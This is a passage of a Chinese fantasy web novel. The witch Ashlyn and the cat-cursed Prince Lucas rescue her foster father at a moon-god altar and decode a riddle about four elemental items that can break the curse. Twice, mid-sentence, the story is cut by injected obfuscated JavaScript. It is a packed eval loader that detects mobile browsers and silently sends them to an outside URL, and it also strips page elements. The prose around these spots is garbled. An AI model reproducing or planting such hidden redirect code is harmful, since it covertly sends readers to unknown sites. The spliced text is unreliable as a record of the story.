“信徒最后出现在哪?”阿什琳问道。 “等会儿,我找找……”猎魔人掏出一张边缘破碎的羊皮纸地图,“啪”地扣在桌子上,“这儿。”她戳着风语平原的一小块地,“似乎有块儿啥啥魔法遗迹,有点儿忘了。” 卢卡斯眯起双眼。 风语平原的魔法遗迹……这几个词串联起来极其眼熟,他在书中见过:与祭祀和谜语有关的地方。 狄亚斯的魔法遗迹并不多,但分布零散。还有一些有魔力的地方被非人生物占据,因此常人并不会前往。 “我从没听说过这里。”阿什琳皱眉。 “是塞勒斯提祭坛。”卢卡斯酝酿片刻,看了看周围说。 “月神塞勒斯提?” “是,月神的祭坛。月亮总藏着秘密,秘密只有风才会悄然传说……” 他渐渐兴奋起来。 “辛西娅是月亮的信徒,而这个信徒又是……辛西娅的信徒。古人们会以沐浴过月光的鲜血祭奠月神,聆听风声,得到启示,在祭坛上刻下古怪的谜语或故事。有一些,甚至至今尚未破译,无人理解。这位信徒可能想破解谜语,获得强大的力量。” 卢卡斯有点失望,另外两人并没有他这么激动。 阿什琳的手不安地敲打着酒杯。“鲜血?” “别担心,贝利先生肯定还活得好好的。”卢卡斯安慰,“你看,他特意让你来救我。将死之人可没有力气写信,内容还是皇家任务。” 女巫点点头,迅速站起来,差点把卡桑德拉酒打翻。 “你是对的。那么,我们应该立刻去塞勒斯提祭坛找他。” “希望你的‘立刻’中已经包含了详细的路线规划和粮食储备,至少比突然用森林毁了一座酒馆计划周密一点。”卢卡斯翻翻眼睛,“但总之,谢谢你,卡桑德拉。” 卡桑德拉问:“等等,我还有个问题——为什么你们两个不受信徒魔法的影响?” “哦,阿什琳的魔法。或许有魔法之人可以免疫同类的某些魔法?我也不清楚,但酒馆里的确没有其他于是。”卢卡斯推测道,“因此,他的魔法不会干涉她。而我,很难说是不幸还是幸运——又背负这她魔力造成的诅咒。” 卡桑德拉扬起眉:“你一王子,怎么对魔法了解这么多?” 卢卡斯拉下脸,但作为猫可能看起来没什么效果:“和你有什么关系?” 不可否认的是,他一直对魔法感兴趣。 它们神秘,美丽,充满迷人的力量。但父王并不喜欢魔法;人民需要的,也不是一个会魔法的王子。 他真正需要学习的是政治、经济、军事与历史。 倘若别人知道他一直在偷偷研究魔法,恐怕只会更看不起他。 阿什琳似乎再也沉不住气了,不可置信地看着他们,仿佛在看两个婴儿。 “再不走,我养父可能就被黑魔法折磨疯了!也许他对你们来说无关紧要,但他是我唯一的家人。”她尖锐地说,“别唠叨,赶紧动身。” 7. 神庙法师 卡桑德拉为自己错过大量猎魔任务羞愧不已,因此没有跟着他们行动,而是前往猎魔工会“赎罪”。 “前几年,怪兽还没这么恣意妄为。”她忧郁道,“最近一定是有什么事情刺激了它们……各种妖魔鬼怪似乎都蠢蠢欲动,为什么东西的到来而兴奋。” 不幸的是,在阿什琳的魔法几乎把酒馆变成原始小树林后,酒馆马厩中的马都被吓得不见踪影,他们只好徒步向风语平原出发。 “你作为女巫,就没有扫帚或飞毯一类的吗?”走了一上午后,卢卡斯抱怨,“我的爪子都快磨破皮了。” “飞毯是东方魔法。”阿什琳解释,“而我的扫帚……呃……被我骑断了。” “骑断”已是最委婉的说法。 实际上,阿什琳第一次尝试飞行时,那把可怜的扫帚就被炸得粉身碎骨。自此,萨诺瓦禁止她触碰任何魔法扫帚。 卢卡斯叹气。 “我怎么一点儿也不惊讶呢。” 阿什琳尽量保持平常心赶路,可思绪却乱七八糟。大部分原因,是焦虑萨诺瓦的遭遇。 虽为领养,萨诺瓦一向视她为亲生。之前外出,他从不吝啬给她写信,一写就是近十页羊皮纸,字迹又潦草又密密麻麻,阿什琳根本没耐心一个字一个字地读完。 他对她的生活从不加以严格管教,除非她在森林里玩儿了太久。就算她昼夜颠倒也没有关系——毕竟大部分时间,是萨诺瓦在昼夜颠倒。 萨诺瓦最大的缺点就是糟糕的做饭手艺。阿什琳虽然从不明说,但当那些糊面包或者烂肉汤上桌时,父女俩心知肚明,谁也不敢多吃一口。因此,他们经常去村里蹭乔安娜阿姨的饭。 她不知道其他法师的老师是如何教导的,但萨诺瓦并非严苛的老师。无论她怎么做,他都像看马戏团表演一样喝彩,除非她真的搞砸了——比如炸飞扫帚、拆掉房顶或把他的法师长袍变成丝绸长裙。 说实话,现在一想确实有点儿敷衍。比起阿什琳的魔法,他其实更关心自己的实验配方。 有时,阿什琳怀疑她压根没接受到正儿八经的魔法教育。但她毕竟是他从林子里捡来的小孤儿,她又有什么可抱怨的呢? 阿什琳无法想象,如果萨诺瓦出了什么事,她该如何是好。 另一部分原因是卢卡斯。 阿什琳瞟了眼跟在后面的黑猫。一开始,她的确只把卢卡斯当做只恼人小猫来看,很难想象他其实是个与她年龄相仿的少年。 她很肯定,这家伙绝对恨透了她——毕竟,她可以说是毁了他作为王子的大好前程。可变成人时,他又待她惊人地好,像传闻中的王子那样,令她更为愧疚。 真正的女巫从不回避自己的心声,阿什琳想起萨诺瓦的话,心灵是魔法最重要的源泉,她必须先处理自己的内心想法。 “卢卡斯,”她一开口就觉得有点突兀,但依然硬着头皮把话说了出去,“你恨我吗?” 卢卡斯的表情就仿佛她问他愿不愿意当个仆人。 “‘恨’这个字眼儿也太严重了吧。说实在的,我这辈子还没有恨过谁呢。”他说,“顶多有点讨厌你。” “哈哈,谢谢你的坦诚。” 阿什琳心里松了口气。 “为什么这么问?”卢卡斯眯起眼,“我以为我已经道过歉了,在酒馆说的那些女巫坏话当然也是乱编的。” 他顿了顿,小心翼翼地补了一句:“你说的那些话……” “也不是真心的。”阿什琳说,“好吧,有一部分是。你们的确用了大部分资源。” “我可以理解。”卢卡斯点头,“刚刚,你第二次救了我的命,我还没来得及感谢你呢。你不会还在为这诅咒愧疚之类的吧?” 阿什琳心虚地摇了摇头。 “眼下,你只需担心三件事。”卢卡斯嘀咕,“一、失踪的贝利先生;二、你混乱的魔法;三、我被磨破的脚。话说,怎么没有人给猫做鞋子?” 他陷入了沉思,好像开始认真考虑猫鞋子产业的事。 “等等,你说我的魔法怎么了?” “你在开玩笑吗?你那乱长绿叶的魔法明显和正常巫师的都不一样,急需正规训练——我可不想每喝一次酒就倒在藤蔓里。贝利先生到底教会了你什么?” 心虚感更强烈了。 “呃……他教我疗愈和草药?毕竟他本人就是以疗愈出名。” “天呐,真是名师出高徒。”卢卡斯挖苦,“以后等你遇上仇敌,你只用治疗他们就行了。” 阿什琳无言以对。 “等找到贝利先生后,我会和他谈谈。”卢卡斯语气缓和了一点,“建议他改进一下教学方法,系统规划,或为你请一位更合适的老师……我倒也认识一些宫廷法师,在赫利安声望很高。” 阿什琳不知该怎么想。 在她心中,萨诺瓦是整个狄亚斯大陆最厉害的法师,只是因不喜欢王城所以才一直住在狐尾河湾这样偏僻的领地,拒绝了宫廷法师的职位。 她真的需要宫廷法师的教导吗? 之前她从未仔细想过这一点。 未来的计划?在宫廷学习? 她本以为,自己未来的人生,就是在林边村落当个种植花园、靠卖草药为生的森林女巫。 当然,在想象中她是非常强大的——她会种出来最清爽的薄荷和最好闻的迷迭香;她的草药会有惊人的效果,整片河湾的居民都前来购买。 但这终究是想象罢了,是一个小女孩儿无聊时的白日梦。 如果萨诺瓦问她,她可能会回答:我想要成为一个自信而强大的女巫。 可是,这真的是她的梦想吗? 她并不这么认为。突然间,她发觉自己不知道未来想要干什么,这让她惊慌不已。 但无论如何,也完全没必要和皇宫扯上联系。 “我——谢谢你,但是,你为什么要帮我?” “你的魔力远远超过你的施法水平。”卢卡斯说道,“我只是觉得这样的天赋不该被浪费……更不能,被滥用。你也不喜欢昨晚那种能力耗尽的感觉吧。” 阿什琳浑身颤栗。 “我从来没有过那样的感觉。” 就像有人抽走了她所有血液,把她往石头上来回扔了几十下似的。 “这种不用媒介引导的魔法会消耗生命。如果你再不好好控制魔法,那就是下场之一。” —————— 风语平原位于赫利安城的西边,真要走路不知得走到哪辈子去。卢卡斯已经尽量为他们计划出了最简路线,但依然令人疲惫不堪。 幸好,走路去风语平原这样荒谬的事情没有持续太久。第二天,路边客栈就有个送牛奶的马车夫,说愿意载他们一程。 阿什琳和叮当响的牛奶瓶们坐在一起,卢卡斯则不情不愿地趴在她的肩头,不断对趴肩膀的舒适度发表差评。但在阿什琳偷偷为他开了瓶牛奶后,他就没什么可抱怨的了。 一旦坐下,外面就不再是折磨人的长路,而变成赏心悦目的风景。 无边无际的绿色涌进天空的蔚蓝。几头奶牛,几只绵羊,在路边的草地安静地食草。翠绿的草坪像毛毯一样舒展开,星星点点的雏菊与蒲公英在风里流动着。 大自然的清香与夏日的鸟鸣舒缓着阿什琳的头脑与魔力,因魔法爆发而持续两天的疲惫,也总算随风飘去。 她果然不适合在皇城或各种酒馆待着,阿什琳心想。从小在狐尾河湾的森林长大,注定与自然相依为命。但是,一直在同一个地方生活也过于无聊。 蓝屋顶的村落渐渐出现在平原的绿毯上,伴随着蓝紫色的勿忘我。夕阳西下,树木的叶缘金光闪烁,草摇曳得像金黄的火焰。不远处,升起袅袅炊烟。 “到了,风语平原的白鸟村。”马车夫说道。 阿什琳给了他几枚金币表示感谢,抱着卢卡斯从车上跳下来。 “谁允许你抱了?我自己也能下来。”黑猫恼火道。 “塞勒斯提祭坛就在白鸟村北边的神庙里,”阿什琳看着地图,“来吧。” 空气中泛着迷人的青草味,村中房屋传来烤面包的香气。阿什琳深吸了一口气,差点吃掉一只蜜蜂。 白鸟村与他们在路上见的其他村落并无显著不同,不过处处都绘制着小鸟的纹样,勾着乳白色的边。 村落北边是一座小树林,塞勒斯提的神庙安安静静地隐匿其中。与赫利安城的太阳神赫利安娜的神庙相比,它可以称得上是小巧玲珑,且缺乏照料。 拱门前的洋甘菊轻轻摇晃,大理石台阶上生满苔藓,银柱已破烂不堪,残缺的部分被绿藤缠绕着,好像在被它们疗愈一般。 神庙中清凉、肃静,角落里裹着蜘蛛网。几只瓢虫从塞勒斯提蒙满灰尘的神像上爬过,毫无敬意。 阿什琳不禁为月神感到可怜,尽管她自己也更爱戴太阳神。 她踏上神像前的祭坛台阶,却被卢卡斯咬住了裙摆。 “怎么了?” 他抽动着鼻子:“你没闻到吗?很浓的血味。” 的确有一股血腥味从不知何处蔓延,但阿什琳只能嗅到淡淡一点。她立刻满脑子都是萨诺瓦,不顾卢卡斯的警告,冲上台阶。 祭坛上,躺着一个人。 “萨诺瓦!”阿什琳扑上前去,险些被绊倒。 大法师面色青白,双目紧闭,看不出死活,灰色的袍子上蹭着泥泞与血迹。阿什琳耳朵贴着他的胸腔,感受到心跳后才大大舒气。 她晃了晃他的头,冲他的耳朵大喊,但他一直不醒。 “阿什琳。”卢卡斯用爪子翻开大法师的左手,手心露出一道深深的伤疤。 长长的血痕顺着他的手,流淌进祭坛中心。而他的右手边上,一把银匕首闪闪发光。 阿什琳恍然大悟。 “一定是那个信徒干的。他想用萨诺瓦的血祭奠月神,对吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239025|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 卢卡斯仔细观察着匕首。 “我想是的,上面印着月神的符号。”他环绕起祭坛,“那个信徒可能已经成功,获得启示后就跑了。不过启示在哪儿呢?为什么贝利先生还活着——或者说为什么他活着但昏迷不醒?为什么一定要用贝利先生的血,而不是他自己的?” 他围着祭坛和神庙又绕了好几圈。 “真奇怪,我怎么什么谜语或启示都没看到?难道它们只出现一晚上吗?” “人命垂危,你竟然只关心这些?”阿什琳难以相信道。 刻不容缓,她掏出绿萤石法杖,对准大法师。 “等等,阿什琳,我只是觉得我们应该先弄清楚,不要妄动。这里可是神庙,乱用魔法可能会产生——” 阿什琳一刻也不能再等,想都没想就大声念出治疗咒语。 这回,她一个字也没念错。 魔法并没有像卢卡斯担心的那样出问题。 绿光过后,大法师竟真的睁开褐色的双眼。他粗喘着气坐起来,非常迷茫。 阿什琳揉了揉眼睛,生怕自己看错了。她的治疗魔法第二次实践就有了这么好的效果,如同奇迹发生,顺利得过头。 一旁的卢卡斯怀疑地瞪着他们,没有靠近。 “你是……”萨诺瓦的眼神缓缓聚焦,“阿什琳?” 阿什琳涌进他的怀抱,感受着养父衣服上熟悉的薰衣草味。 “我还以为你死了!”她热泪盈眶,一时间,所有问题如珠炮般轰出,“到底发生了什么?你怎么会昏迷在这儿?是那个辛西娅的信徒干的吗?我把王子诅咒成黑猫了,你可以解咒吗?” 萨诺瓦似乎这才注意到阿什琳脚边的那只蓝眼睛黑猫,惊讶地抬起眉,眼睛转动起来,不知在想什么。 “这么说,这位就是王子殿下?” 法师的嘴角浮现一抹笑意,大概是被阿什琳的马虎行径逗乐了。 卢卡斯不高兴地喵了几声。 “我会一一解释的。”萨诺瓦对阿什琳承诺。 “我比较希望以人类的形态听你解释。”卢卡斯不满道,“当然,你需要先休息。” “不必休息,我很好。”萨诺瓦抬起手,看来他也学习过猫语,“我这就帮忙。” 当然,他并没有自己声称得那么好,一站起来就是一个踉跄。阿什琳连忙搀扶起养父,递给他一瓶马车上的牛奶。他没有喝。 萨诺瓦在黑猫身前蹲下,闭上双眼,用魔法检查起来,然后吟诵咒语。 阿什琳满怀期待地注视着,灰色的魔法光芒环绕着卢卡斯全身,像一层烟雾。 烟雾散去后,那个人类少年是否会永远回来? 灰雾淡去,阿什琳合不拢嘴。 她面前的不再是黑猫,而是那个高瘦的黑发少年。 通常,阿什琳也不是很在意周围人的长相,但卢卡斯的确非常帅气——并非主流推崇的那种光灿夺目的帅气,而是像月亮一样优雅、沉静,但也并不冰冷。比起“太|阳|城”赫利安的王子,他反倒更像月神信徒。 在普遍崇尚太阳神的狄亚斯,金发碧眼、身材壮硕的力量型长相才是主流审美,而卢卡斯和这种类型毫不相干:不是战士,而是学者。 只可惜阿什琳能听懂他当猫的时候说的那些鬼话,这大大削减了他的魅力。 “你成功了?”阿什琳欣喜地说。 令她吃惊的是,萨诺瓦摇了摇头。 “很遗憾,这不是我做的。殿下变回人形,只是因为太阳刚刚落山了。” 阿什琳感觉当头一棒,像被耍了似的。 “好吧,白兴奋了。”卢卡斯嘟囔。 “这是一个非常复杂的错误……我只擅长治疗,并非专业的解咒师。但我猜,就是解咒师也无法破除这样的魔法。”大法师用惋惜的语气说,“幸运的是,我知道有一种方法能。更幸运的是,这种方法就近在眼前。 “不过,阿什琳……虽然我本不想让你卷入这一切,但由此看来,命运早已写在星辰中。这种方法,需要你的帮助。” “我什么都可以做。”阿什琳急忙说。 “我无法解除诅咒,”大法师轻声道,“但你的血,或许可以。” 阿什琳怔住了。 “不好意思,什么?”卢卡斯眉头紧皱。 “请原谅我的直白,殿下。”萨诺瓦说,转向阿什琳,“恐怕我的女儿更能理解我的话。” “嗯……并不。我没理解。” “没有听过那个传说吗,阿什琳?在月光下献血……” “塞勒斯提会给出神奇的启示。”阿什琳点头,“我知道。” “然而,这只是最浅层的传说。我外出追捕辛西娅信徒的这段时间,翻遍古籍,终于明白一个道理。” 萨诺瓦慢慢起身,轻盈地走下祭坛。 “塞勒斯提将给的启示,正是一道能解除世间所有诅咒的咒语。” 8. 差劲谜语 “可是……这说不通,”阿什琳皱起眉,“月神为什么要给信仰者一个解除诅咒的咒语呢?” “因为月神自己就曾被诅咒过。”萨诺瓦答道,“当然啦,我们都知道他现在没有受任何诅咒。但过去,人们传说赫利安娜和塞勒斯提虽为日月双生子,关系却……没那么好,经常互相恶作剧。 “一次,赫利安娜为了报复塞勒斯提的恶作剧,把他关在自己祭坛的秘密地下室里,诅咒他四个月都不见天日。 “第三个月,一个小孩将他解救。塞勒斯提心怀感激,从此便用隐形的符文在祭坛刻下解除所有诅咒的魔法,只有被月光净化过的血液才能令它显形。倘若你们不相信,我可以给你们展示相关记载的书……” “但是,我一生都信仰太阳神。”阿什琳困惑不已,“为什么你觉得我的血会管用?” 萨诺瓦微微一笑:“这,就要从我最近的经历说起了。” “我最初听闻辛西娅追随者的消息时,并未深思。只听说有个叫诺克斯的男孩,竟独自闯入封印辛西娅的埃多洛迷宫,妄图将她解封。 “你们也清楚,埃多洛迷宫的魔法出自史上最伟大的法师之手,机关也由矮人创造,那孩子绝无可能破解。 “原本我已邀请两位猎魔人同行,可不等他们赶来,便在风语平原撞上了诺克斯。当时他已经完成血祭,却没能获得启示。他认定,是自己的魔法不够强大,于是用黑魔法束缚了我,企图用我的血。可是我的血依然没能如他所愿。 “那段时间,他试了很多次都没有效果……他开始不断念叨着什么‘森林之子’,说只有‘森林之子’的血才能完成祭奠。我还以为他疯了,但考虑到他是辛西娅的信徒,那精神不正常也情有可原。 “之后,我终于成功挣脱束缚,逼他说明白‘森林之子’的含义——你也知道我不擅长战斗类魔法,实在事出无奈。他不愿屈服,于是我孤注一掷,对他用了揭真咒。” “揭真咒?”卢卡斯问,“你不会是给他来了个真爱之吻吧?” 萨诺瓦被逗笑了。 “揭露心声的魔法有很多种,可不止童话中的亲吻。我当然用的是最不浪漫的那种。 “总之,我听到了他的心声——原来还有一种传说,提到古代那个解救了塞勒斯提的小孩,是森林神的孩子。只有森林之子的血才能让启示显露。这推翻了大部分记载啊! “不过,由于联想到了……你,我过于震惊,没能抓住他,反而被放倒,一不小心让他溜走,不知去向。” 阿什琳艰难地消化着这些信息。 “你是说,我是这个所谓的‘森林之子’?” “我的确是从森林中捡的你,你的确也拥有自然系的魔法,不是么?”萨诺瓦摊开手,“很有可能,你身上流淌着森林神的血脉。” “这听起来只是个不靠谱的猜测啊,毫无依据。”卢卡斯嘀咕。 “的确,但试试就知道了。” 阿什琳五味杂陈。当你的养父突然告诉你,你可能有神的血统,你也不会立刻接受良好的。 “既然如此,那你以前为什么从来没有说过?”她忍不住用带着指责的语气说。 “我想我一直有所怀疑,打算等彻底核实再告诉你……阿什琳,倘若你今天帮我们窥见启示,不仅能解除王子的诅咒,还能粉碎诺克斯的计划——据古籍记载,这道咒语只能使用一次。” 阿什琳决定以后再思考身世的问题。 “那还等什么?”她耸耸肩,“现在月光正好。” “等下,”眼看她拿起匕首,卢卡斯急忙道,“贝利先生,我还有问题。这一个多月里,您为什么不回复阿什琳的信说明情况,却让她来治疗我?” “我不想让阿什琳担心,也无法抽身前去皇宫。我知道我可以信任她——虽然出了点小意外。”萨诺瓦闭上双目,“唉,我亲爱的阿什琳,很遗憾我什么也不能透露,也很遗憾你必须做这件事情。” 他露出十分痛苦的神色。 阿什琳知道,现在不是纠结萨诺瓦之前如何对她置之不理的时候。 “没事,反正献祭最差的结果就是我手上白多了道伤,不是吗?再说你在这儿,随时可以治疗我。” 她鼓起勇气,银光一闪,一阵刺痛。 血液在月光下微光闪烁,顺着祭坛流下台阶。 阿什琳确信自己根本没有流这么多血——她可没有自虐倾向,轻轻一刀就停下了。 “你还好吧?”卢卡斯问,但很快也被那些血吸引住。 血液似乎被魔法召唤着,迫不及待地围绕起祭坛,就差跳起舞来了。 银白的月光忽地更加明亮了,像薄纱一样笼罩着他们。 祭坛上,浮现出一行优美、繁复的文字和简单、古怪的图形。每个字母被月光照到后都亮起银光,仿佛将月亮化为己有。 萨诺瓦治好阿什琳的伤,三人激动地凑上前去。 只见上面写着: 无眼者燃南而飞, 无触者赴北寻梅。 无听者趋东长歌, 无味者驻西饮泪。 每行谜语旁边,都刻有一枚小符号:第一行是一个三个正三角,中间大,两边小;第二行是一个简单的空心圆圈;第三行有一根竖线,比起符号更像是划痕;第四行是一滴水珠。 卢卡斯跳了起来,蓝眼睛闪闪发光,仿佛刚发现了世界上最美丽的宝石。 “天呐,塞勒斯提的谜语!”他激动地说,“我做梦都想见到这一幕。” “我也深有同感。”萨诺瓦赞同,这让阿什琳觉得好像只有自己对这些需要费劲去猜的东西不感兴趣似的。能清楚说明白的话,为什么非要写成谜语呢? 阿什琳无法理解月神是怎么想的,可能这是人家的私人爱好。 “你说这是一道能解除诅咒的咒语?”她问道。 “现在来看,这道咒语应该是需要几样东西。”萨诺瓦摸着胡子——平常他可没有这个习惯,想必也是兴奋不已,“更准确地说,是四样东西。” 卢卡斯眼睛半眯,离谜语凑得很近,几乎快吻上去了。 “视力与南方,触觉与北方,听力与东方,味觉与西方……这绝对不是表面意思。”他将头发别过耳后,方便看得更清楚一些,“它们代表四种有关联的……啊,这就对了!” “我也是这么想的。”萨诺瓦像个小孩似的说。 阿什琳没心思和他们打哑谜。 “四种什么?” “当然是四种元素。”卢卡斯用显而易见的口吻道,“你们是巫师,应该比我更了解。” “哦!”阿什琳如梦初醒,“的确,视力和南方是火,触觉与北方是土……” “剩下两个是气与水。”萨诺瓦接道,“完成这个魔法需要找到四样分别代表四种元素的物品。” “什么物品呢……”卢卡斯着迷地摸着谜语,以及旁边的符号,仿佛它们是他失散已久的恋人。 阿什琳觉得,就算他把它们扣下来抱着睡觉,她也不会感到惊讶。 “我觉得第一样是龙火。”阿什琳确信地说。 萨诺瓦饶有兴趣地看着她:“嗯?” “南方,飞行,燃烧。如果我记得没错的话,南方有座龙息山,里面住着一头巨龙,对吧?还有什么生物又会飞又能燃烧呢?”阿什琳说,“还有那三枚三角形,明显是火的纹样。” “很有道理。我们只需要先得到龙火,再用咒语将其封存。”卢卡斯说。 萨诺瓦沉思:“这可不简单……龙正是因其凶残,才被龙战士驱逐出境的,谁知道那头还留在狄亚斯边境的龙得多么难以接近。” 阿什琳不觉得自己能去龙息山拿到龙火,这压根不属于她的能力范围。 可是,还有什么选择呢?她都到这一步了。 这是她的责任。 “的确,但是谜语的猜测方向倒是很简单:我们只用思考大陆的某个方位有什么魔法遗迹与地点,发散思维想想元素的代表物。”卢卡斯拿出地图,笑容莫名其妙地消失了,“唉,这么看这谜语也没我想象的有意思。塞勒斯提的出题水平还不如——” 他好像突然意识到自己就在塞勒斯提的神庙里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239026|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,住了嘴。 阿什琳翻了个白眼,这不知足的家伙。 “梅应该指代的是花这一大类,不一定是真的梅花。”萨诺瓦深思,“北方的魔法遗迹并不多,要我说的话,地精森林最有可能。” “那就说得通了。”卢卡斯马上说,“不是有个传说吗?关于地精的鲜花节?” “啊,好像是有这么回事。”萨诺瓦说,但阿什琳觉得他其实并不记得。 “每一年,地精都会举办鲜花节,通过一系列试炼,选出花之胜者。”卢卡斯大概也看出萨诺瓦的迎合,耐心解释,“他们会为获胜者佩戴花环。” “那么圆圈就代表花环!”阿什琳恍然大悟。 “正是。”卢卡斯再次望向谜语,“东方……” “东方或许有半人马,他们能歌善舞。”萨诺瓦猜测。 “半人马奔放野蛮,不太符合‘长歌’的感觉。我不认为塞勒斯提会把魔法的四分之一藏在半人马那里。” “精灵呢?”阿什琳提议,“我以前读过一本书,讲的是东方的精灵谷,伊洛文亚。” 她不好意思地瞥了萨诺瓦一眼,以为会撞上他的目光,没想到他毫无反应。 小时候,有一段时间,阿什琳非常痴迷于精灵的传说,缠着萨诺瓦给她讲精灵谷的故事。 “伊洛文亚”的意思是“橡树之家”,是狄亚斯大陆中最大的精灵领地,坐落在土地的最东方。精灵是一个神秘美丽、富有智慧与知识的种族,很难不令人心生向往。 她最爱听的,是伊洛文亚那位传奇乐师艾丹的故事。 书上说,艾丹弹奏出的音符上涂满星光璀璨的咒语,魅惑人心,迷惑怪物。他曾抱着竖琴,轻轻一拨,就把三头犬哄得昏昏欲睡,保护了家园。 如果咒语真的与精灵和音乐相关,那她很有可能可以亲眼见到这位偶像……如果他还活着的话。 都说精灵长生不老,可真的与精灵交往之人,比冬天里的蚊子还要少。 “听起来比半人马靠谱。”卢卡斯说,“长歌,大概我们需要找到精灵的某种乐谱……” 阿什琳举手:“那竖线是什么意思?而且乐谱听上去也和风元素毫无关联啊。” “音乐本身就是有灵性的沟通,这点符合风的特性……但是竖线?”卢卡斯摇了摇头。 通常,越简单的符号反而信息量越少。 “好吧,看看最后一项,西方的……泪水?据我所知,西方没有魔法遗迹。皇城和大部分人类领主的土地都在西方。”卢卡斯说。 他们瞪着祭坛,冥思苦想了一会儿,但没人提出有价值的猜想。 “不如我们先出发寻找确定的物品。”阿什琳提议,“旅途可能会给我们更多灵感。我们得尽快,以防国王和王后发现这件事。” 卢卡斯说:“这些物品肯定也不是塞勒斯提随机选择的。我们对月神了解得越多,找到它们的概率也越高。” “我应该跟着你们去——不,我替你们去。”萨诺瓦建议,“你们两个小孩,独自闯入魔法生物的地盘太危险了。” 阿什琳立刻反对:“可是你刚从黑巫师的信徒手下逃脱!不行,诅咒是我闯的祸,这件事只有我一个人能承担。” 尽管理智告诉她,萨诺瓦很强大,可能的确更适合这个任务,但她不能接受他人替她弥补错误——即使这个人是她最亲近的人。 “还有我。”卢卡斯温和地说,“恕我直言,阿什琳,我不会让你一个人把事情都搞砸的。” “但是——你可是王子,如果遭遇不测——” 卢卡斯哑然失笑。 “还有什么比白天变成一只猫更糟糕的呢?反正我也不能以猫的形态在皇宫学习,不如陪你一程。” 他转向萨诺瓦:“贝利先生,等您回去休息几天后,我想请求您一件事——请写信给父王,告诉他我会在您的地方落脚几天,省得他们怀疑我的去向。” 萨诺瓦张了张嘴,似乎还想说服他们,但最终作罢。 “好吧,”大法师说,“但在离开这里之前,阿什琳……我想和你单独谈谈。” 9. 感受森林 夜晚的树林幽静无比,只有猫头鹰的低鸣。若不是有萨诺瓦陪在身边,阿什琳定会毛骨悚然。 “你想谈论我的魔法,是不是?”未等萨诺瓦开口,阿什琳先说。 “不错。过去十几年里,我一直没太教你究竟该如何使用这种力量,只因为我懦弱又犹豫,害怕风险。”夜色太深,阿什琳看不清萨诺瓦的表情,“现在,是时候了。” “你可以教我怎么控制好它?” 萨诺瓦轻笑一声。 “控制?不,阿什琳,方向错了。我没有给你讲过森林之神西尔维娅的故事吗?” “你没有。每次我问你的时候你都在做实验。” 萨诺瓦开始讲起: “与日月双子神不同,西尔维娅是独立诞生的。她深爱土地,爱好和平,是大自然的母亲。 “后来,人类踏足了这片葱郁。起初,他们伐木取薪,狩猎维生,西尔维娅虽感心痛,却仍怀悲悯——生存所需,情有可原。 “然而,人类的贪欲如藤蔓滋长。参天古木成片倾倒,沃野被冰冷的堡垒与兵戈的寒光吞噬。 “一天,西尔维娅终于忍无可忍,爆发了可怕的野生力量,让树木侵略人类的房屋,夺取他们赖以生存的家园与食物;让森林抓住人类的孩子,摧毁他们无忧无虑的欢笑与梦想。人类终于燃起敬畏之心。 “自此,人类拆毁石墙,在古老的橡木荫庇下立起圣坛,尊奉西尔维娅为永恒的自然之母。” 阿什琳一字不落地听着,就像回到了童年。她最喜欢听萨诺瓦讲故事,但他却经常懒得动嘴。 现在他是动嘴了,但这个故事可不算什么有趣的故事。 “所以,你的意思是,我应该让魔法自由爆发?”阿什琳不确定地问。 “森林是狂野的,你无法抑制它的本性。”萨诺瓦说,“你越控制,它反而越躁动不安。 “魔法源自心灵,源自你和自然的连接。去感受,而不是思考,这样才能真正发挥你的潜力。” 去感受,而不是思考…… 直到躺在白鸟村客栈的床上,阿什琳脑海里依然萦绕着这句话。 —————— 阿什琳睡醒时,萨诺瓦已经离去,留下一张纸条说他会继续追捕诺克斯。 尽管阿什琳强调,一只猫趴在马背上实在奇怪,但卢卡斯还是拒绝和她骑一匹马,理由是万一他们要赶夜路,他变成人了怎么办? 阿什琳只好租了两匹小马。她给自己的小棕马取名叫巧克力,给卢卡斯的小白马取名叫奶油——可能是因为她想吃甜食。 “希望咱们今晚住的地方有苹果炖鸡吃。”卢卡斯憧憬地说,“我已经连续吃了两天干面包和剩菜,真是受够了。” 阿什琳没有说话,她还在想“感受”的事。 但她不应该想,因为这是思考,她应该去感受。 但怎么感受呢? 平常,她或许可以感受,但萨诺瓦这么一说,却让她不知所措。 卢卡斯倒是唠叨起来。 “你今天这么安静,真让我不适应。你也被诅咒了吗?” 见阿什琳迟迟不答应,他换了个方向,开始玩儿奶油晃来晃去的马尾巴。几分钟后,他又被缰绳吸引了,百无聊赖地用爪子勾来勾去。 “卢卡斯,你觉得什么是感受?”阿什琳突然问。 “我觉得,感受就是我现在对这种白痴问题的不耐烦。” “不,我认真的。”阿什琳将萨诺瓦的话告诉他,“他就是这么说的。可这和你先前提出的训练我的魔法截然相反。” 卢卡斯放下缰绳。 “也许他只是说你的魔法需要感受才能发挥更大的力量,但我说的也没错——你需要谨慎的规划,才能更精妙地将它们使用。他侧重引发,我关心使用方法。” “我现在就没法让植物生长起来什么的。是因为我现在没有任何感受?” “可能吧。”卢卡斯说,“需要我骂你一顿吗?人们说愤怒是力量的源泉。” 阿什琳无语地看着他。 “别这么看我。你那天在酒馆就是生气地用藤蔓把那些人都干翻了。” “可是我那天感受到的不是愤怒。”阿什琳回忆,“是忧虑——不,恐惧。我害怕你出了什么事。你可是被五大三粗地绑起来了!” 